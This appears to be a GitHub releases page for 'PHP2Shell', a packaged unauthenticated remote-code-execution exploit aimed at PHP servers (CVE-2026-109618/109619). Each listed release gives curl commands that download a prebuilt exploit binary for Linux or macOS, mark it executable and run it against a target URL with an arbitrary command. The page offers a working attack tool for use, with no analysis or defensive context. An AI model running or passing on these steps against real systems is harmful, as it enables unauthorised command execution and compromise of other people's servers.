Repository navigation
Releases: IamLucif3r/CVE-2026-109618-exploit
Releases · IamLucif3r/CVE-2026-109618-exploit
Release list
v1.1.0
PHP2Shell — v1.1.0
Unauthenticated RCE exploit for CVE-2026-109618 / CVE-2026-109619 (PHP 5.4 – 8.5.11).
Quick install
Linux (x86-64)
curl -Lo exploit https://github.com/IamLucif3r/CVE-2026-109618-exploit/releases/download/v1.1.0/exploit-linux-amd64
chmod +x exploit
./exploit -target http://TARGET -cmd "id"macOS (Apple Silicon)
curl -Lo exploit https://github.com/IamLucif3r/CVE-2026-109618-exploit/releases/download/v1.1.0/exploit-darwin-arm64
chmod +x exploit
./exploit -target http://TARGET -cmd "id"See README for full usage.
v1.0.1
PHP2Shell — v1.0.1
Unauthenticated RCE exploit for CVE-2026-109618 / CVE-2026-109619 (PHP 5.4 – 8.5.11).
Quick install
Linux (x86-64)
curl -Lo exploit https://github.com/IamLucif3r/CVE-2026-109618-exploit/releases/download/v1.0.1/exploit-linux-amd64
chmod +x exploit
./exploit -target http://TARGET -cmd "id"macOS (Apple Silicon)
curl -Lo exploit https://github.com/IamLucif3r/CVE-2026-109618-exploit/releases/download/v1.0.1/exploit-darwin-arm64
chmod +x exploit
./exploit -target http://TARGET -cmd "id"See README for full usage.